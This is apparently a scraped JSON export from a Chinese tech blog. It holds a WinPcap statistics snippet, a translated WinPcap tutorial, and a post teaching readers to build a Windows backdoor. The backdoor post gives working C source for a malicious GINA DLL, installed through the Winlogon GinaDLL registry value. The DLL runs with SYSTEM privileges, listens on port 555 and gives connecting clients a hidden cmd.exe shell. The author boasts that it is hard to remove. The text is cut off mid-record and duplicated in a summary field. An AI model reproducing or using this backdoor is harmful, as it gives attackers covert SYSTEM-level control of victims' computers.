char\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; strtime[32];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; delay = (pkthdr-\u0026gt;ts.tv_sec \u0026#8211; tstamp.tv_sec)*1000000 \u0026#8211; tstamp.tv_usec + pkthdr-\u0026gt;ts.tv_usec;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Pps.QuadPart = ((*(LONGLONG*)(pktdata)) * 1000000 ) / delay;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bps.QuadPart = ((*(LONGLONG*)(pktdata + 8)) * 1000000 ) / delay;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; struct tm* ltime = localtime( \u0026amp;(pkthdr-\u0026gt;ts.tv_sec) );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; strftime( strtime, sizeof(strtime),\u0026quot;%H:%M:%S\u0026quot;, ltime);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; printf(\u0026quot;%s:\u0026quot;, strtime );\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; printf(\u0026quot;tPps=%I64utBps=%I64urn\u0026quot;,Pps.QuadPart,Bps.QuadPart);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; tstamp = pkthdr-\u0026gt;ts;\n}\n","permalink":"https://hessian.cn/p/500.html","summary":"关于winpcap的一些认识关于winpcap的一些认识 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Bill yuan\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2004-9-29\n一．Winpcap简介\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Winpcap是UNIX下的libpcap移植到windows下的产物,他是一个free and open source的项目。Winpcap工作于驱动(Driver)层，所以能以很高的效率进行网络操作。\n","title":"[转]关于winpcap的一些认识"},{"content":"原文出处：http://winpcap.polito.it/docs/man/html/index.html 作者: Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino http://winpcap.polito.it 概述： 这 篇教程将会指引读者逐步了解WinPcap编程, 从简单的基础函数(获取网络接口列表, 捕捉数据包)到更高级的内容(处理发送队列, 网络流量统 计). 教程中包括一些代码片断, 以及一些简单但完整的例子, 读者可以参考这些例子更好的理解教程的内容. 这些例子全部用C语言写成, 所以基本的 C语言编程知识是必要. 同时, 因为这篇教程的内容是与底层网络紧密相连的, 所以笔者假设读者已经具备有关网络和协议的相关知识. 译者的话： WinPcap 是一套免费的, 基于Windows的网络接口API, 它在底层网络操作方面对程序员很有帮助. 这篇文档翻译自 \u0026quot;WinPcap Documentation 3.0\u0026quot; 中的 \u0026quot;WinPcap tutorial: a step by step guide to program WinPcap\u0026quot; 一部分. 这篇教程对初学者的帮助很大, 尤其是简短清晰的例 子, 但这篇教程只是整个文档的一小部分, 我认为你仍然需要参考文档的其它部分来了解各种结构等信息. 教程中注有前缀 \u0026quot;Y-\u0026quot; 的部分是译者为了让 读者更明白作者的意思添加的, 原文中没有. 1. 获取网络接口列表 通常, 一个基于WinPcap的应用程序所要做的第一件 事, 就是获得适合的网络接口的列表. Libpcap中的pcap_findalldevs()函数就是干这活的: 这个函数然回一个pcap_if结 构的列表, 每个元素都记录了一个接口的信息. 其中, name和description以人类可以阅读的形式, 记录了设备的信息. 下面的源代码输出可用的网络接口的列表, 并且在没有找到任何借口的情况下输出错误信息： 代码\u0026nbsp;\u0026nbsp; #include \u0026quot;pcap.h\u0026quot; main() { pcap_if_t *alldevs; pcap_if_t *d; int i=0; char errbuf[PCAP_ERRBUF_SIZE]; /* 取得列表 */ if (pcap_findalldevs(\u0026amp;alldevs, errbuf) == -1) { fprintf(stderr,\u0026quot;Error in pcap_findalldevs: %sn\u0026quot;, errbuf); exit(1); } /* 输出列表 */ for(d=alldevs;d;d=d-\u0026gt;next) { printf(\u0026quot;%d. %s\u0026quot;, ++i, d-\u0026gt;name); if (d-\u0026gt;description) printf(\u0026quot; (%s)n\u0026quot;, d-\u0026gt;description); else /* Y- 没有有效的描述 */ printf(\u0026quot; (No description available)n\u0026quot;); } if(i==0) { /* Y- 没有有效的接口, 可能是因为没有安装WinPcap */ printf(\u0026quot;nNo interfaces found! Make sure WinPcap is installed.n\u0026quot;); return; } /* 我们不再需要列表了, 释放 */ pcap_freealldevs(alldevs); } 我们来看看这段代码. 首 先, 和其他的libpcap函数一样, pcap_findalldevs(), 有一个错误缓冲区(errbuf)参数. 这个参数是一个字符串指 针, 一旦发生错误,libpcap将会在这里填入错误描述. 然后, 请注意, pcap_findalldev系统下的s()函数同时也被UNIX下 的libpcap所支持, 但是并不是所有的操作系统都支持\u0026ldquo;网络接口描述\u0026rdquo;(description)这一项. 所以, 如果我们想写一个可以移植的的 应用程序,那么我们必须要为描述为\u0026ldquo;空\u0026rdquo;(null)的情况做好准备：遇到这种情况我们就输出一个\u0026ldquo;没有有效的描述\u0026rdquo;的消息. 最后我们通过pcap_freealldevs()函数来释放接口列表. 现在让我们编译并运行我们的第一个WinPcap程序. 如果你使用UNIX或者Cgywin的话, 你只需要以下命令： gcc -o testaprog testprog.c -lpcap 在Windows环境中(Y \u0026#8211; 如果你使用Microsoft Visual C++), 你需要建立一个工程, 按照\u0026quot;Using WinPcap in your programs \u0026quot; 一节中说明来做. 不过, 我仍然建议你参照Winpcap开发者包(WinPcap developer\u0026rsquo;s pack)中的例子, 那些例子包括了所以配置完善的工程, 以及全部你所需要的库和包含文件. (Y \u0026#8211; 你可以在本章最后找到Microsoft Visual C++ 的配置方法) 假设现在你已经成功编译了程序, 我们就来运行它. 在我的WinXP工作站上, 输出结果是： 1. {4E273621-5161-46C8-895A-48D0E52A0B83} (Realtek RTL8029(AS) Ethernet Adapter) 2. {5D24AE04-C486-4A96-83FB-8B5EC6C7F430} (3Com EtherLink PCI) 就如你所看到的, 网络接口的名称(当打开这个接口时, 需要传递这个名称给libpcap库)在windows环境下几乎是没有办法读懂的(Y-严重同意), 所以输出一个描述对于你的用户来说是非常有帮助的. 附注： Microsoft Visual C++ 工程的设置 1. 下载并安装 WinPcap, 推荐的版本是3.0 2. 从 http://winpcap.polito.it 下载 WinPcap Developer\u0026rsquo;s Pack 并解压缩 3. 用 Microsoft Visual C++ 建立一个空工程 (empty project) 4. 复制源代码 5. 把 Winpcap Developer\u0026rsquo;s Pack 中的 Includes 目录添加为新的包含文件目录 6. 添加库 wpcap.lib 和 wsock32.lib 原文出处：http://winpcap.polito.it/docs/man/html/index.html 作者: Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino http://winpcap.polito.it 2. 获取设备的高级信息 上 一课我们介绍了如何获取一个设备的基本信息(比如设备名称和设备描述). 实际上, WinPcap 也可以为我们提供关于接口的更多信息. 由 pcap_findalldevs() 函数返回的 pcap_if 结构也包含了一个 pcap_addr 结构的列表, 它记录了以下信息: 1. 接口的地址列表 2. 接口的掩码列表 (与地址列表一一对应) 3. 接口的广播地址列表 (与地址列表一一对应) 4. 目标地址列表 (与地址列表一一对应) 下面例子中的 ifprint() 函数将会输出 pcap_if 结构的全部内容. 它包括了 pcap_findalldevs() 函数所返回的所有元素. ( Y- 全部有效接口) 代码\u0026nbsp;\u0026nbsp; /* * Copyright (c) 1999 \u0026#8211; 2002 * Politecnico di Torino. All rights reserved.\n","permalink":"https://hessian.cn/p/658.html","summary":"原文出处：http://winpcap.polito.it/docs/man/html/index.html 作者: Loris Degioanni (degioanni@polito.it), NetGroup, Politecnico di Torino http://winpcap.polito.it 概述： 这 篇教程将会指引读者逐步了解WinPcap编程, 从简单的基础函数(获取网络接口列表, 捕捉数据包)到更高级的内容(处理发送队列, 网络流量统 计). 教程中包括一些代码片断, 以及一些简单但完整的例子, 读者可以参考这些例子更好的理解教程的内容. 这些例子全部用C语言写成, 所以基本的 C语言编程知识是必要. 同时, 因为这篇教程的内容是与底层网络紧密相连的, 所以笔者假设读者已经具备有关网络和协议的相关知识. 译者的话： WinPcap 是一套免费的, 基于Windows的网络接口API, 它在底层网络操作方面对程序员很有帮助. 这篇文档翻译自 \u0026quot;WinPcap Documentation 3.0\u0026quot; 中的 \u0026quot;WinPcap tutorial: a step by step guide to program WinPcap\u0026quot; 一部分. 这篇教程对初学者的帮助很大, 尤其是简短清晰的例 子, 但这篇教程只是整个文档的一小部分, 我认为你仍然需要参考文档的其它部分来了解各种结构等信息. 教程中注有前缀 \u0026quot;Y-\u0026quot; 的部分是译者为了让 读者更明白作者的意思添加的, 原文中没有. 1. 获取网络接口列表 通常, 一个基于WinPcap的应用程序所要做的第一件 事, 就是获得适合的网络接口的列表. Libpcap中的pcap_findalldevs()函数就是干这活的: 这个函数然回一个pcap_if结 构的列表, 每个元素都记录了一个接口的信息. 其中, name和description以人类可以阅读的形式, 记录了设备的信息. 下面的源代码输出可用的网络接口的列表, 并且在没有找到任何借口的情况下输出错误信息： ","title":"WinPcap 教程"},{"content":" 前言\n\u0026ldquo;马\u0026rdquo;玩了不少，不过玩得都是别人写的，总感觉不是很爽。何不自己打造一个属于自己BackDoor呢？！\n既然是后门，当然是不能被轻易发现的，这是首要的一条。在WIN2K和XP下进程隐藏可以有DLL加载、远程注入等几种方式。我们今天采用虽然还是属于常见的DLL加载类型。不过这次是替换掉系统的核心DLL，如果强行删除的话\u0026hellip;\u0026hellip;呵呵，下次启动就不正常了。\nSocket：毒啊毒！比\u0026ldquo;独行者\u0026rdquo;还毒！ 前置知识\n首先来介绍下Gina在windows中的作用：WinNT、Win2K等在进入用户shell前都有一个身份验证的过程。这个过程就是由Gina完成 的，Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll，在系统目录system32下可以找到。微软除了提 供默认的Gina还允许自定义开发Gina以替换掉msgina.dll来实现自己的一些认证方式，这就为我们打造后门提供了条件！\n要替换掉系统默认加载的msgina.dll很简单，只要编辑注册表在HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionWinlogon项下加入一个类型为REG_SZ，名为GinaDLL的键值，数据填写我们替换的GinaDLL的 名字就OK了。例如：\n[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]\n\u0026quot;GinaDLL\u0026quot;=\u0026quot;ginadll.dll\u0026quot;（ginadll.dll就是我们用来替换的Gina）。\n在我们自己的DLL中只要邦定一个SHELL，其他的直接调用msgina.dll就行了。说直接一点就是安装 一个中间层，使其达到一个后门的目的。Gina是加载到winlogin进程中的，winlogin是系统的用户交互登陆进程，具有SYSTEM权限，理 所当然我们的后门也有SYSTEM权限，这对于后门来说是再好不过了。\n实现过程\n由于我们一共要替换15个Gina函数，全部写出来会相当大。这里就选几个重要部分做示范，其他的只需直接往下一层的msgina.dll调用就行了，详细请参考完整源代码。\ntypedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );\ntypedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );\ntypedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );\ntypedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);\ntypedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );\ntypedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );\ntypedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );\ntypedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );\ntypedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );\ntypedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );\ntypedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );\ntypedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );\ntypedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );\ntypedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );\ntypedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);\n后门要用到的全局变量\n//管道\nHANDLE hStdOut = NULL, hSRead = NULL;\nHANDLE hStdInput = NULL, hSWrite = NULL;\n//用来控制线程是否结束返回\nBOOL bExit = FALSE;\n//保存创建的CMD进程语柄\nHANDLE hProcess = NULL;\n//Winlogon进程最先调用的函数，用来检查Gina支持的winlogin版本\nBOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)\n{\nHINSTANCE hDll=NULL;\nif( !(hDll = LoadLibrary( \u0026quot;msgina.dll\u0026quot; )) ) return FALSE;\n//取得msgina.dll中的WlxNegotiate函数入口\nPFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, \u0026quot;WlxNegotiate\u0026quot; );\nif( !pWlxNegotiate ) return FALSE;\n//往下层调用\nreturn pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );\n}\n//为一个特别的窗口站初始化一个GinaDLL\nBOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,\nPVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)\n{\nHINSTANCE hDll=NULL;\nif( !(hDll = LoadLibrary( \u0026quot;msgina.dll\u0026quot; )) ) return FALSE;\nPFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll, \u0026quot;WlxInitialize\u0026quot; );\nif( !pWlxInitialize ) return FALSE;\n//初始化windows socket的WS2_32.DLL\nWSADATA WSAData;\nif (WSAStartup(MAKEWORD(2,2), \u0026amp;WSAData)!=0)\nreturn FALSE;\n//同上往下调用\nreturn pWlxInitialize( lpWinsta, hWlx, pvReserved,pWinlogonFunctions,\npWlxContext );\n}\n//Winlogon在没有用户登陆时接收到一个SAS事件调用这个函数\nint WINAPI WlxLoggedOutSAS(PVOID pWlxContext, DWORD dwSasType,\nPLUID pAuthenticationId, PSID pLogonSid, PDWORD pdwOptions,\nPHANDLE phToken, PWLX_MPR_NOTIFY_INFO pMprNotifyInfo,\nPVOID *pProfile)\n{\nHINSTANCE hDll=NULL;\nif( !(hDll = LoadLibrary( \u0026quot;msgina.dll\u0026quot; )) )\nreturn FALSE;\nPFUNCWLXLOGGEDOUTSAS pWlxLoggedOutSAS = (PFUNCWLXLOGGEDOUTSAS)GetProcAddress( hDll, \u0026quot;WlxLoggedOutSAS\u0026quot; );\nif( !pWlxLoggedOutSAS ) return FALSE;\nHANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象 WaitForSingleObject(hmutex,INFINITE); //后门的主线程开始\nCreateThread(NULL,NULL,StartInit,NULL,NULL,NULL);\nReleaseMutex(hmutex);\nCloseHandle(hmutex);\n//调用下层的WlxLoggedOutSAS\nint ret = pWlxLoggedOutSAS(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile );\nreturn ret;\n}\n//StartInit线程\nDWORD WINAPI StartInit(PVOID lp)\n{\nSOCKET sock=NULL;\n//建立一个TCP SOCKET\nsock = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);\nSOCKADDR_IN addr_in = {0};\naddr_in.sin_family = AF_INET;\naddr_in.sin_port = htons(555); //端口号，可以自己改\naddr_in.sin_addr.S_un.S_addr = htonl(INADDR_ANY);\n//绑定到555端口\nif(bind(sock,(sockaddr *)\u0026amp;addr_in,sizeof(sockaddr))==SOCKET_ERROR)\nreturn 1;\n//侦听\nlisten(sock,1);\nsockaddr_in sin={0};\nint size = sizeof(sin);\nwhile ( TRUE )\n{\n//接受一个连接的请求返回一个SOCKET没有请求则一直阻塞\n//在一个连接断开后又返回等待另外的连接\nSOCKET recvSock=accept(sock,(sockaddr *)\u0026amp;sin,\u0026amp;size);\nif ( recvSock == INVALID_SOCKET ) {\nSleep(1000);\ncontinue;\n}\nHANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象\nWaitForSingleObject(hmutex,INFINITE);\n//创建后门\nHANDLE hThread = CreateThread(NULL,NULL,BackDoor,\u0026amp;recvSock,0,NULL);\nReleaseMutex(hmutex);\nCloseHandle(hmutex);\n//等待BackDoor线程结束。\nWaitForSingleObject(hThread,INFINITE);\nbExit = FALSE;\n}\nreturn 1;\n}\n//BackDoor线程\nDWORD WINAPI BackDoor (LPVOID lp)\n{\n//用来设置管道可被子进程继承\nSECURITY_ATTRIBUTES sa; sa.bInheritHandle =TRUE;\nsa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL;\n//创建管道\nCreatePipe ( \u0026amp;hSRead, \u0026amp;hStdOut, \u0026amp;sa, 0 );\nCreatePipe ( \u0026amp;hStdInput, \u0026amp;hSWrite, \u0026amp;sa, 0 );\nSTARTUPINFO StartInfor = {0};\nPROCESS_INFORMATION ProInfor = {0};\n//重定向子进程的标准输入输出，为我们刚刚建立好的管道\nStartInfor.cb = sizeof ( STARTUPINFO );\nStartInfor.wShowWindow = SW_HIDE;\nStartInfor.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;\nStartInfor.hStdOutput = StartInfor.hStdError = hStdOut;\nStartInfor.hStdInput = hStdInput;\n//取得CMD的完整路径\nTCHAR SysDir[MAX_PATH] = {0};\nGetSystemDirectory(SysDir,MAX_PATH);\nif ( SysDir[strlen(SysDir)-1] != \u0026#8216;\\\u0026#8217;)\nstrcat(SysDir,\u0026quot;\\\u0026quot;);\nstrcat(SysDir,\u0026quot;cmd.exe\u0026quot;);\nHANDLE hmutex=CreateMutex(NULL,FALSE,NULL); //创建互斥对象 WaitForSingleObject(hmutex,INFINITE);\n//创建CMD子进程\nCreateProcess(NULL,SysDir,NULL,NULL,TRUE,NULL,NULL,NULL,\u0026amp;StartInfor,\u0026amp;ProInfor);\nhProcess = ProInfor.hProcess;\n//由于我们不对CMD的出入输出进行操作所以我们可以关闭\nCloseHandle(hStdOut);\nCloseHandle(hStdInput);\nHANDLE hArray[2] = {0};\n//创建一个接收命令线程和一个返回结果的线程\nhArray[0] = CreateThread (NULL,NULL,RecvThread,\u0026amp;sock,NULL,NULL);\nhArray[1] = CreateThread (NULL,NULL,SendThread,\u0026amp;sock,NULL,NULL);\nReleaseMutex(hmutex);\nCloseHandle(hmutex);\n//等待2个线程的结束\nWaitForMultipleObjects(2,hArray,TRUE,INFINITE);\nclosesocket(sock);\nreturn 1;\n}\n//RecvThread 线程\nDWORD WINAPI RecvThread ( LPVOID lp)\n{\nSOCKET sock = *(SOCKET*)lp;\nTCHAR CmdBuf[512] = {0}; //接收命令的Buf\nint num = 0;\nwhile ( TRUE )\n{\nif ( bExit == TRUE )\nreturn 1;\nTCHAR Tbuf[2] = {0};\nint ret = recv(sock, Tbuf, 1, 0); //接收一个字符\nif ( ret == 1 )\n{\nnum++; //接收的字符记数\nstrcat(CmdBuf,Tbuf); //追加到CmdBuf中\nsend(sock,Tbuf,1,0); //回显\nif ( Tbuf[0] == \u0026#8216;n\u0026#8217; ) //如接收到回车\n{\nTCHAR buf[5] = {0};\nDWORD A=0;\n//写到管道中供CMD的标准输入读取\nWriteFile(hSWrite,CmdBuf,num,\u0026amp;A,NULL);\nmemcpy ( buf, CmdBuf, 4);\n//如果是exit命令设置线程结束标志\nint ret = _stricmp (buf,\u0026quot;exit\u0026quot;);\nif ( ret == 0 )\nbExit = TRUE;\nmemset(CmdBuf,0,512);\nnum=0;\n}\n}\nelse\n{ //如果连接中断终止CMD进程\nbExit = TRUE;\nDWORD A=0;\nGetExitCodeProcess(hProcess,\u0026amp;A);\nTerminateProcess(hProcess,A);\n}\n}\nreturn 1;\n}\n//SendThread 线程\nDWORD WINAPI SendThread ( LPVOID lp )\n{\nSOCKET sock = *(SOCKET*)lp;\nTCHAR Buf[512]={0};\nDWORD ReadSize = 0;\nwhile(TRUE)\n{\nif ( bExit == TRUE ) //如果结束标志为真线程返回\nreturn 1;\n//查看管道是否有数据可读\nPeekNamedPipe(hSRead,Buf,512,\u0026amp;ReadSize,NULL,NULL);\n//有就读取 没有就Sleep0.1s再次检查\nif ( ReadSize \u0026gt; 0 )\nReadFile(hSRead,Buf,512,\u0026amp;ReadSize,NULL);\nelse {\nSleep(100);\ncontinue;\n}\n//把从管道读出来的数据发给客户端.\nsend (sock,Buf,ReadSize,0);\nmemset(Buf,0,512);\n}\nreturn 1;\n","permalink":"https://hessian.cn/p/463.html","summary":" 前言\n\u0026ldquo;马\u0026rdquo;玩了不少，不过玩得都是别人写的，总感觉不是很爽。何不自己打造一个属于自己BackDoor呢？！\n既然是后门，当然是不能被轻易发现的，这是首要的一条。在WIN2K和XP下进程隐藏可以有DLL加载、远程注入等几种方式。我们今天采用虽然还是属于常见的DLL加载类型。不过这次是替换掉系统的核心DLL，如果强行删除的话\u0026hellip;\u0026hellip;呵呵，下次启动就不正常了。\nSocket：毒啊毒！比\u0026ldquo;独行者\u0026rdquo;还毒！ 前置知识\n首先来介绍下Gina在windows中的作用：WinNT、Win2K等在进入用户shell前都有一个身份验证的过程。这个过程就是由Gina完成 的，Gina除了验证用户身份以外还要提供图形登陆界面。系统默认的Gina是msgina.dll，在系统目录system32下可以找到。微软除了提 供默认的Gina还允许自定义开发Gina以替换掉msgina.dll来实现自己的一些认证方式，这就为我们打造后门提供了条件！\n要替换掉系统默认加载的msgina.dll很简单，只要编辑注册表在HKEY_LOCAL_MACHINESOFTWAREMicrosoft Windows NTCurrentVersionWinlogon项下加入一个类型为REG_SZ，名为GinaDLL的键值，数据填写我们替换的GinaDLL的 名字就OK了。例如：\n[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]\n\u0026quot;GinaDLL\u0026quot;=\u0026quot;ginadll.dll\u0026quot;（ginadll.dll就是我们用来替换的Gina）。\n在我们自己的DLL中只要邦定一个SHELL，其他的直接调用msgina.dll就行了。说直接一点就是安装 一个中间层，使其达到一个后门的目的。Gina是加载到winlogin进程中的，winlogin是系统的用户交互登陆进程，具有SYSTEM权限，理 所当然我们的后门也有SYSTEM权限，这对于后门来说是再好不过了。\n实现过程\n由于我们一共要替换15个Gina函数，全部写出来会相当大。这里就选几个重要部分做示范，其他的只需直接往下一层的msgina.dll调用就行了，详细请参考完整源代码。\ntypedef BOOL (WINAPI *PFUNCWLXNEGOTIATE)( DWORD, DWORD* );\ntypedef BOOL (WINAPI *PFUNCWLXINITIALIZE)( LPWSTR, HANDLE, PVOID, PVOID, PVOID* );\ntypedef VOID (WINAPI *PFUNCWLXDISPLAYSASNOTICE)( PVOID );\ntypedef int (WINAPI *PFUNCWLXLOGGEDOUTSAS)( PVOID, DWORD, PLUID, PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID *);\ntypedef BOOL (WINAPI *PFUNCWLXACTIVATEUSERSHELL)( PVOID, PWSTR, PWSTR, PVOID );\ntypedef int (WINAPI *PFUNCWLXLOGGEDONSAS)( PVOID, DWORD, PVOID );\ntypedef VOID (WINAPI *PFUNCWLXDISPLAYLOCKEDNOTICE)( PVOID );\ntypedef int (WINAPI *PFUNCWLXWKSTALOCKEDSAS)( PVOID, DWORD );\ntypedef BOOL (WINAPI *PFUNCWLXISLOCKOK)( PVOID );\ntypedef BOOL (WINAPI *PFUNCWLXISLOGOFFOK)( PVOID );\ntypedef VOID (WINAPI *PFUNCWLXLOGOFF)( PVOID );\ntypedef VOID (WINAPI *PFUNCWLXSHUTDOWN)( PVOID, DWORD );\ntypedef BOOL (WINAPI *PFUNCWLXSCREENSAVERNOTIFY)( PVOID, BOOL * );\ntypedef BOOL (WINAPI *PFUNCWLXSTARTAPPLICATION)( PVOID, PWSTR, PVOID, PWSTR );\ntypedef BOOL (WINAPI *PFUNCWLXNETWORKPROVIDERLOAD) (PVOID, PWLX_MPR_NOTIFY_INFO);\n后门要用到的全局变量\n//管道\nHANDLE hStdOut = NULL, hSRead = NULL;\nHANDLE hStdInput = NULL, hSWrite = NULL;\n//用来控制线程是否结束返回\nBOOL bExit = FALSE;\n//保存创建的CMD进程语柄\nHANDLE hProcess = NULL;\n//Winlogon进程最先调用的函数，用来检查Gina支持的winlogin版本\nBOOL WINAPI WlxNegotiate(DWORD dwWinlogonVersion, DWORD *pdwDllVersion)\n{\nHINSTANCE hDll=NULL;\nif( !(hDll = LoadLibrary( \u0026quot;msgina.dll\u0026quot; )) ) return FALSE;\n//取得msgina.dll中的WlxNegotiate函数入口\nPFUNCWLXNEGOTIATE pWlxNegotiate = (PFUNCWLXNEGOTIATE)GetProcAddress( hDll, \u0026quot;WlxNegotiate\u0026quot; );\nif( !pWlxNegotiate ) return FALSE;\n//往下层调用\nreturn pWlxNegotiate( dwWinlogonVersion, pdwDllVersion );\n}\n//为一个特别的窗口站初始化一个GinaDLL\nBOOL WINAPI WlxInitialize( LPWSTR lpWinsta, HANDLE hWlx,\nPVOID pvReserved, PVOID pWinlogonFunctions, PVOID *pWlxContext)\n{\nHINSTANCE hDll=NULL;\nif( !(hDll = LoadLibrary( \u0026quot;msgina.dll\u0026quot; )) ) return FALSE;\nPFUNCWLXINITIALIZE pWlxInitialize = (PFUNCWLXINITIALIZE)GetProcAddress( hDll, \u0026quot;WlxInitialize\u0026quot; );\nif( 